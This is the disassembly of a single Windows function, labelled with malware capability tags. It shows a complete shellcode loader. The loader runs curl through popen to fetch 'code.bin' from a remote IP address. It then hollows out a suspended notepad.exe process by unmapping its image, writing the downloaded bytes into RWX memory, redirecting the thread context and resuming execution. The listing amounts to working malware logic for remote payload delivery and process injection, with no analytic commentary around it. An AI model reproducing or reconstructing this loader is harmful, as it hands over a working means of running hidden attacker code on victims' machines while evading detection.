Function at 0x14001128f
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Read file on windows
Resume thread
Schedule task via at
Terminate process
Use process replacement

Disassembly:
jmp 0x140011a00
push rbp
push rsi
push rdi
mov eax, 0x1050
call fcn.1400110af
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x2e0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xff8], rax
lea rcx, [0x1400240a3]
call fcn.1400113ac
nop
lea rax, [rbp + 0x28]
lea rcx, str.curl_http:__192.168.166.20:8080_code.bin
mov rdi, rax
mov rsi, rcx
mov ecx, 0x29
rep movsb byte [rdi], byte [rsi]
mov byte [rbp + 0x74], 0
mov dword [rbp + 0x4a4], 0
lea rdx, [0x14001af7c]
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll__popen]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140011a93
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov r9, qword [rbp + 8]
mov r8d, 1
mov edx, 1
lea rcx, [rbp + 0x74]
call qword [sym.imp.ucrtbased.dll_fread]
test rax, rax
je 0x140011ad3
movsxd rax, dword [rbp + 0x4a4]
movzx ecx, byte [rbp + 0x74]
mov byte [rbp + rax + 0xa0], cl
mov eax, dword [rbp + 0x4a4]
inc eax
mov dword [rbp + 0x4a4], eax
jmp 0x140011a93
mov rcx, qword [rbp + 8]
call qword [sym.imp.ucrtbased.dll__pclose]
nop
lea rax, [rbp + 0x4d0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x558]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rbp + 0x4d0], 0x68
lea rax, [rbp + 0x558]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x4d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140011b9b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_create_process._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov eax, 1
jmp 0x140011f66
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x588], rax
lea rdx, str.NtQueryInformationProcess
mov rcx, qword [rbp + 0x588]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5a8], rax
mov dword [rbp + 0x614], 0
lea rax, [rbp + 0x614]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x5c8]
xor edx, edx
mov rcx, qword [rbp + 0x558]
call qword [rbp + 0x5a8]
test eax, eax
je 0x140011c4d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_query_process_information._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov edx, 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov eax, 1
jmp 0x140011f66
mov qword [rbp + 0x638], 0
mov rax, qword [rbp + 0x5d0]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rbp + 0x638]
mov rdx, rax
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140011cda
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_read_process_memory._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov edx, 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov eax, 1
jmp 0x140011f66
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rbp + 0x588]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x658], rax
mov rdx, qword [rbp + 0x638]
mov rcx, qword [rbp + 0x558]
call qword [rbp + 0x658]
test eax, eax
je 0x140011d5a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_unmap_view_of_section._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov edx, 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov eax, 1
jmp 0x140011f66
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov rdx, qword [rbp + 0x638]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x678], rax
cmp qword [rbp + 0x678], 0
jne 0x140011de0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_allocate_memory_in_target_process._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov edx, 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov eax, 1
jmp 0x140011f66
mov qword [rsp + 0x20], 0
mov r9d, 0x3e8
lea r8, [rbp + 0xa0]
mov rdx, qword [rbp + 0x678]
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140011e5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_write_to_process_memory._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov edx, 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov eax, 1
jmp 0x140011f66
mov dword [rbp + 0x6d0], 0x10000b
lea rdx, [rbp + 0x6a0]
mov rcx, qword [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140011eca
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_get_thread_context._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov edx, 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov eax, 1
jmp 0x140011f66
mov rax, qword [rbp + 0x678]
mov qword [rbp + 0x798], rax
lea rdx, [rbp + 0x6a0]
mov rcx, qword [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140011f3a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0xff4], eax
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov ecx, dword [rbp + 0xff4]
mov r8d, ecx
lea rdx, str.Error:_Unable_to_set_thread_context._Error_code:__d_n
mov rcx, rax
call fcn.140011361
nop
mov edx, 1
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov eax, 1
jmp 0x140011f66
mov rcx, qword [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov rcx, qword [rbp + 0x560]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x558]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001aeb0]
call fcn.140011339
mov rax, rdi
mov rcx, qword [rbp + 0xff8]
xor rcx, rbp
call fcn.1400111c2
lea rsp, [rbp + 0x1000]
pop rdi
pop rsi
pop rbp
ret